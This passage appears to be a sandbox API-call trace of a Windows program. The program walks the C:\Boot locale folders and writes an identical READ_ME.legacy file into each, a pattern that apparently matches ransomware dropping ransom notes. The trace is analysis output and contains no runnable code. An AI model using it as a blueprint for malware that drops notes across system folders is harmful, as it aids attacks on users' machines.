dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.257] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.258] CloseHandle (hObject=0x458) returned 1 [0082.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0e0 | out: hHeap=0x520000) returned 1 [0082.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0082.259] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0082.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.259] GetLastError () returned 0x0 [0082.259] SetLastError (dwErrCode=0x0) [0082.259] GetLastError () returned 0x0 [0082.259] SetLastError (dwErrCode=0x0) [0082.259] GetLastError () returned 0x0 [0082.259] SetLastError (dwErrCode=0x0) [0082.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0082.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b08 [0082.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ba8 [0082.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0082.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0082.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.260] GetLastError () returned 0x0 [0082.260] SetLastError (dwErrCode=0x0) [0082.260] GetLastError () returned 0x0 [0082.260] SetLastError (dwErrCode=0x0) [0082.260] GetLastError () returned 0x0 [0082.260] SetLastError (dwErrCode=0x0) [0082.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.260] CreateFileW (lpFileName="\\Boot\\fr-FR\\READ_ME.legacy" (normalized: "c:\\boot\\fr-fr\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.261] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.261] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.261] CloseHandle (hObject=0x458) returned 1 [0082.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0082.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ba8 | out: hHeap=0x520000) returned 1 [0082.262] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0082.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.262] GetLastError () returned 0x0 [0082.262] SetLastError (dwErrCode=0x0) [0082.262] GetLastError () returned 0x0 [0082.262] SetLastError (dwErrCode=0x0) [0082.262] GetLastError () returned 0x0 [0082.262] SetLastError (dwErrCode=0x0) [0082.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ba8 [0082.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563e38 [0082.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563e10 [0082.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0082.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0e0 [0082.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.262] GetLastError () returned 0x0 [0082.262] SetLastError (dwErrCode=0x0) [0082.262] GetLastError () returned 0x0 [0082.262] SetLastError (dwErrCode=0x0) [0082.263] GetLastError () returned 0x0 [0082.263] SetLastError (dwErrCode=0x0) [0082.263] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.263] CreateFileW (lpFileName="\\Boot\\hr-HR\\READ_ME.legacy" (normalized: "c:\\boot\\hr-hr\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.264] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.264] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.265] CloseHandle (hObject=0x458) returned 1 [0082.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0e0 | out: hHeap=0x520000) returned 1 [0082.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0082.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563e10 | out: hHeap=0x520000) returned 1 [0082.265] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0082.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.265] GetLastError () returned 0x0 [0082.265] SetLastError (dwErrCode=0x0) [0082.266] GetLastError () returned 0x0 [0082.266] SetLastError (dwErrCode=0x0) [0082.266] GetLastError () returned 0x0 [0082.266] SetLastError (dwErrCode=0x0) [0082.266] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563ff0 [0082.266] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563f28 [0082.266] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563ed8 [0082.266] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0a0 [0082.266] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0082.266] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.266] GetLastError () returned 0x0 [0082.266] SetLastError (dwErrCode=0x0) [0082.266] GetLastError () returned 0x0 [0082.266] SetLastError (dwErrCode=0x0) [0082.266] GetLastError () returned 0x0 [0082.266] SetLastError (dwErrCode=0x0) [0082.266] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.266] CreateFileW (lpFileName="\\Boot\\hu-HU\\READ_ME.legacy" (normalized: "c:\\boot\\hu-hu\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.267] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.267] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.268] CloseHandle (hObject=0x458) returned 1 [0082.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0082.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0a0 | out: hHeap=0x520000) returned 1 [0082.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ed8 | out: hHeap=0x520000) returned 1 [0082.268] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="it-IT", cAlternateFileName="")) returned 1 [0082.268] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.268] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.268] GetLastError () returned 0x0 [0082.269] SetLastError (dwErrCode=0x0) [0082.269] GetLastError () returned 0x0 [0082.269] SetLastError (dwErrCode=0x0) [0082.269] GetLastError () returned 0x0 [0082.269] SetLastError (dwErrCode=0x0) [0082.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563fa0 [0082.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563f78 [0082.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x564068 [0082.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0c0 [0082.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0082.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.269] GetLastError () returned 0x0 [0082.269] SetLastError (dwErrCode=0x0) [0082.269] GetLastError () returned 0x0 [0082.269] SetLastError (dwErrCode=0x0) [0082.269] GetLastError () returned 0x0 [0082.269] SetLastError (dwErrCode=0x0) [0082.269] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.269] CreateFileW (lpFileName="\\Boot\\it-IT\\READ_ME.legacy" (normalized: "c:\\boot\\it-it\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.271] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.272] CloseHandle (hObject=0x458) returned 1 [0082.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0082.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0082.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564068 | out: hHeap=0x520000) returned 1 [0082.273] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0082.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.273] GetLastError () returned 0x0 [0082.273] SetLastError (dwErrCode=0x0) [0082.273] GetLastError () returned 0x0 [0082.273] SetLastError (dwErrCode=0x0) [0082.273] GetLastError () returned 0x0 [0082.273] SetLastError (dwErrCode=0x0) [0082.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563eb0 [0082.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563e88 [0082.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563e10 [0082.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0082.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0082.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.274] GetLastError () returned 0x0 [0082.274] SetLastError (dwErrCode=0x0) [0082.274] GetLastError () returned 0x0 [0082.274] SetLastError (dwErrCode=0x0) [0082.274] GetLastError () returned 0x0 [0082.274] SetLastError (dwErrCode=0x0) [0082.274] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.274] CreateFileW (lpFileName="\\Boot\\ja-JP\\READ_ME.legacy" (normalized: "c:\\boot\\ja-jp\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.275] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.276] CloseHandle (hObject=0x458) returned 1 [0082.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0082.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0082.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563e10 | out: hHeap=0x520000) returned 1 [0082.276] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0082.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.276] GetLastError () returned 0x0 [0082.276] SetLastError (dwErrCode=0x0) [0082.276] GetLastError () returned 0x0 [0082.276] SetLastError (dwErrCode=0x0) [0082.276] GetLastError () returned 0x0 [0082.277] SetLastError (dwErrCode=0x0) [0082.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x564018 [0082.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563dc0 [0082.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x564068 [0082.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0082.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0082.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.277] GetLastError () returned 0x0 [0082.277] SetLastError (dwErrCode=0x0) [0082.277] GetLastError () returned 0x0 [0082.277] SetLastError (dwErrCode=0x0) [0082.277] GetLastError () returned 0x0 [0082.277] SetLastError (dwErrCode=0x0) [0082.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.277] CreateFileW (lpFileName="\\Boot\\ko-KR\\READ_ME.legacy" (normalized: "c:\\boot\\ko-kr\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.278] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.278] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.279] CloseHandle (hObject=0x458) returned 1 [0082.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0082.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564068 | out: hHeap=0x520000) returned 1 [0082.280] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0082.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.280] GetLastError () returned 0x0 [0082.280] SetLastError (dwErrCode=0x0) [0082.280] GetLastError () returned 0x0 [0082.280] SetLastError (dwErrCode=0x0) [0082.280] GetLastError () returned 0x0 [0082.280] SetLastError (dwErrCode=0x0) [0082.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563f50 [0082.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563fc8 [0082.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563ed8 [0082.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0082.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d150 [0082.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.280] GetLastError () returned 0x0 [0082.281] SetLastError (dwErrCode=0x0) [0082.281] GetLastError () returned 0x0 [0082.281] SetLastError (dwErrCode=0x0) [0082.281] GetLastError () returned 0x0 [0082.281] SetLastError (dwErrCode=0x0) [0082.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.281] CreateFileW (lpFileName="\\Boot\\lt-LT\\READ_ME.legacy" (normalized: "c:\\boot\\lt-lt\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.281] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.282] CloseHandle (hObject=0x458) returned 1 [0082.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d150 | out: hHeap=0x520000) returned 1 [0082.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ed8 | out: hHeap=0x520000) returned 1 [0082.283] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0082.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.283] GetLastError () returned 0x0 [0082.283] SetLastError (dwErrCode=0x0) [0082.283] GetLastError () returned 0x0 [0082.283] SetLastError (dwErrCode=0x0) [0082.283] GetLastError () returned 0x0 [0082.283] SetLastError (dwErrCode=0x0) [0082.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x564040 [0082.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x564068 [0082.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563ed8 [0082.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0082.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0082.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.284] GetLastError () returned 0x0 [0082.284] SetLastError (dwErrCode=0x0) [0082.284] GetLastError () returned 0x0 [0082.284] SetLastError (dwErrCode=0x0) [0082.284] GetLastError () returned 0x0 [0082.284] SetLastError (dwErrCode=0x0) [0082.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.284] CreateFileW (lpFileName="\\Boot\\lv-LV\\READ_ME.legacy" (normalized: "c:\\boot\\lv-lv\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0082.288] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0082.288] WriteFile (in: hFile=0x458, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0082.289] CloseHandle (hObject=0x458) returned 1 [0082.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0082.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0082.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ed8 | out: hHeap=0x520000) returned 1 [0082.290] FindNextFileW (in: hFindFile=0x552de0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0082.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.290] GetLastError () returned 0x0 [0082.290] SetLastError (dwErrCode=0x0) [0082.290] GetLastError () returned 0x0 [0082.290] SetLastError (dwErrCode=0x0) [0082.290] GetLastError () returned 0x0 [0082.290] SetLastError (dwErrCode=0x0) [0082.290] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x563ed8 [0082.290] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ed8 | out: hHeap=0x520000) returned 1 [0082.290] RtlAllocateHeap 